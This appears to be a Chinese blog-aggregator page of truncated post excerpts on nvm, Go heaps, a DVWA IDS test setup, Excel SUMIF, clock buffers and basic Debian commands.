一、背景 在工作中&#xff0c;我们可能同时在进行2个或者多个不同的项目开发&#xff0c;每个项目的需求不同&#xff0c;进而不同项目必须依赖不同版本的NodeJS运行环境&#xff0c;这种情况下&#xff0c;对于维护多个版本的node将会是一件非常麻烦的事情&#xff0c;nvm就…

go语言源码解读之数据结构堆

概述 堆(heap)&#xff0c;是一种计算中常用的数据结构。本文我们将探讨对的特性、实现细节以及实际应用场景。 基本概念 堆是一种特殊的完全二叉树。堆分为大顶堆与小顶堆。 大顶堆的特点是&#xff0c;父节点的值总是大于或等于其子节点的值。 小顶堆的特点是&#xff0c…

DVWA-IDS测试(特殊版本)

起因 浏览DVWA历史更新记录发现有版本带有IDS插件&#xff0c;可以用于平时没有相关设备等场景演示用&#xff0c;所以开启本次测试。 下载 官方最新版本是移除了IDS插件&#xff0c;原因是“从不使用”&#xff0c;所以需要下载移除该插件之前的版本。 https://github.com/…

Excel中使用SUMIF函数对指定区域满足条件的进行求和

1.使用 SUMIF 函数对 范围 中符合指定条件的值求和。 例如&#xff0c;如果某列中含有数字&#xff0c;你只需对大于 5 的数值求和。 可使用以下公式&#xff1a;SUMIF(B2:B25,">5") 2.将条件应用于一个区域并对其他区域中的对应值求和。 例如&#xff0c;公式 S…

时钟缓冲器的相关知识

时钟缓冲器是比较常用的器件&#xff0c;其主要功能作用有时钟信号复制&#xff0c;时钟信号格式转换&#xff0c;时钟信号电平转换等。我们下面简单了解下&#xff1a; 1.时钟信号复制 例如ICS553芯片&#xff0c;其将单路输入时钟信号复制4份进行输出&#xff0c;输出信号具…

debian 常用命令

1、修改环境变量 /etc/profile export PATH/usr/local/bin:$PATHsource /etc/profile ## 生效临时改变export PATH/usr/local/bin:$PATH或者改变当前用户的vim ~/.bashrcsource ~/.bashrc // 生效 2、清除当前登录的历史操作 history -c 3、解压缩 压缩基本的命令格式 …